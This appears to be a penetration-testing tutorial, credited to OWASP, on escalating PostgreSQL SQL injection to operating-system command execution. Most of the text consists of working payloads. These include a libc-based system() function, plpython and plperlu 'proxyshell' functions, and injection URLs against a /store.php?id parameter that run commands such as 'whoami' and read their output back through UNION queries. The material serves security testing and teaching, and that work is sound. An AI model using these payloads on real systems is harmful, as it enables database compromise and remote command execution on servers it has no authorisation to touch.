PostgreSQL Shell Injection

Shell Injection

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, and tcl.

Dynamic Library

Until PostgreSQL 8.1, it was possible to add a custom function linked with libc:

• CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since system returns an int how we can fetch results from system stdout?

Here's a little trick:

• create a stdout table

  CREATE TABLE stdout(id serial, system_out text)

• executing a shell command redirecting its stdout

  SELECT system('uname -a > /tmp/test')

• use a COPY statements to push output of previous command in stdout table

  COPY stdout(system_out) FROM '/tmp/test'

• retrieve output from stdout

  SELECT system_out FROM stdout

Example:

 
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

plpython

PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user can do. It's not installed by default and can be enabled on a given database by CREATELANG

• Check if PL/Python has been enabled on a database:

  SELECT count(*) FROM pg_language WHERE lanname='plpythonu'

• If not, try to enable:

  CREATE LANGUAGE plpythonu

• If either of the above succeeded, create a proxy shell function:

  CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu

• Have fun with:

  SELECT proxyshell(os command);

Example:

• Create a proxy shell function:

  /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--

• Run an OS Command:

  /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

plperl

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as open. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the postgres user, to avoid the so-called application mask filtering of trusted/untrusted operations.

• Check if PL/perl-untrusted has been enabled:

  SELECT count(*) FROM pg_language WHERE lanname='plperlu'

• If not, assuming that sysadm has already installed the plperl package, try :

  CREATE LANGUAGE plperlu

• If either of the above succeeded, create a proxy shell function:

  CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu

• Have fun with:

  SELECT proxyshell(os command);

Example:

• Create a proxy shell function:

  /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;

• Run an OS Command:

  /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

출처 : www.owasp.org